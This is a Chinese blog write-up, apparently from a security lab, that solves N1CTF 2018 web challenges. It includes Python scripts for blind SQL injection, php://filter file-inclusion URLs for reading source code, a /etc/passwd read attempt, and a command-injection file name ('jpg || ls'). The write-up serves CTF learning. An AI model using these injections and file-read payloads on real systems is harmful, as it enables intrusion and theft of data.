您当前的位置: 首页 > 

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

国际赛-N1CTF 2018-Web题解

合天网安实验室 发布时间:2018-03-13 20:58:00 ,浏览量:0

点击蓝字

关注我们

1

前记

N1CTF 2018是由国内知名战队Nu1L战队组织,由南京赛宁提供技术支持。正好假期空余,于是便来试了试,总的来说,题目难度较高,但是由于存在非预期,所以降低了一些困难性。

2

77777

拿到题目注意几个信息点:

容易发现我们需要的就是admin的password字段

所以容易构造payload:

flag=1111&hi= where (password like 0x25)

Update users set points =1111 where (password like 0x25)

此时发现

分数修改成功

再试

flag=2222&hi= where (password like 0xff)

发现

没有变化,于是可以写出脚本

import requestsimport stringimport urlliburl = "http://47.97.168.223/index.php"flag = ""true_flag = ""for i in range(1,1000):    payload = flag    for j in "0123456789"+string.letters+"!@#$^&*(){}=+`~_":        data = {            "flag":"233333",            "hi":urllib.unquote(" where (password like 0x%s25)"%(payload+hex(ord(j))[2:]))        }        r =requests.post(url=url,data=data)        if '233333' in r.content:            flag += hex(ord(j))[2:]            true_flag += j            print true_flag            data1 = {                "flag": "1",                "hi": " where 1"            }            s = requests.post(url=url,data=data1)            break

得到flag:N1CTF{he3l3locat233}

算是一道web签到题吧,侥幸手速快,拿了一血233333

3

77777 2

上一题的翻版,like,部分数字等较多可用均被过滤,发现括号,+,>还在

于是想到构造运算

此时的username>”a“为true

Id= 1+true

即为2,那么此处的update也可以用相同的方法

注意url编码问题

于是可以写出脚本

import requestsimport urlliburl = "http://47.52.137.90:20000/index.php"flag = ""for i in range(1,1000):    for j in range(33,127):        payload = urllib.unquote("%%2b( pw > '%s')"%(flag+chr(j)))        data = {             "flag":"10",              "hi":payload        }        r = requests.post(url=url,data=data)        if "| 10" in r.content:            tmp = urllib.unquote("%%2b( pw > '%s')"%(flag+chr(j-1)))            tmp_data = {                "flag": "10",                "hi": tmp            }            s = requests.post(url=url,data=tmp_data)            if "| 11" in s.content:                flag += chr(j-1)                print flag                break

得到flag:N1CTF{HAHAH777A7AHA77777AAAA}

4

背景

进入题目后,点一下login……竟然就可以了= =这里有点坑

拿到url: http://47.52.152.93:20000/user.php?page=guest

发现可以文件包含,随即尝试读源码:

http://47.52.152.93:20000/user.php?page=php://filter/read=convert.base64-encode/resource=index

得到:

继续读function文件

http://47.52.152.93:20000/user.php?page=php://filter/read=convert.base64-encode/resource=function

得到(代码只给出部分)

继续读

http://47.52.152.93:20000///user.php?page=php://filter/read=convert.base64-encode/resource=m4aaannngggeee

得到

去访问

http://47.52.152.93:20000/templates/upload2323233333.html

看到有上传,找到上传的后端:upllloadddd.php

接着读23333333

http://47.52.152.93:20000///user.php?page=php://filter/read=convert.base64-encode/resource=upllloadddd

得到

可以清楚的看到:

$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

echo "";

这里可以命令注入,并且把内容打印出来

我们先本地测试一下

发现可以成功将ls的信息打印出来

于是构造:

jpg || ls 文件名

最后拿到flag: N1CTF{1d0ab6949bed0ecf014b087e7282c0da}

5

easy php

拿到url: http://47.97.221.96/index.php?action=login

发现可能存在文件包含

随手尝试

http://47.97.221.96/index.php?action=../../../../etc/passwd

发现可以读文件,于是尝试读取源码

但是各种尝试,均以失败告终

最后发现

http://47.97.221.96/index.php~

存在文件泄露

关注
打赏
1665306545
查看更多评论
立即登录/注册

微信扫码登录

0.0422s